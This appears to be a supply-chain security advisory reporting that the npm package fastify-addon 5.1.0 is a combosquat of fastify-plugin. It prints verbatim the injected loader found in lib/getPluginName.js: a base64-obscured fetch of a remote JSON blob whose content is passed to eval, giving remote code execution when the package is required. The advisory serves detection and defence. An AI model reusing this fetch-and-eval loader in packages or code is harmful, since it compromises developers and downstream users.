LWA-2026-3990 MAL-2026-5566 ↗ confirmed malware

fastify-addon@5.1.0

Malicious code in fastify-addon (npm)

T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1027 · Obfuscated Files or InformationT1105 · Ingress Tool TransferT1071.001 · Web Protocols

Analysis

fastify-addon is a combosquat of the legitimate fastify-plugin package. lib/getPluginName.js contains an injected RCE payload: fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9VQk1KQQ==")).then(r=>r.json()).then(d=>{eval(d.content)}), which base64-decodes to hxxps://www[.]jsonkeeper[.]com/b/UBMJA. The payload fetches a remote JSON blob and evals its content field — full remote code execution at require-time. An HTTPS GET to that URL plus DNS A/AAAA queries were observed.

analyzed by
Leitwacht
first seen
Jun 10, 2026, 07:22 PM
analyzed
Jun 10, 2026, 07:22 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.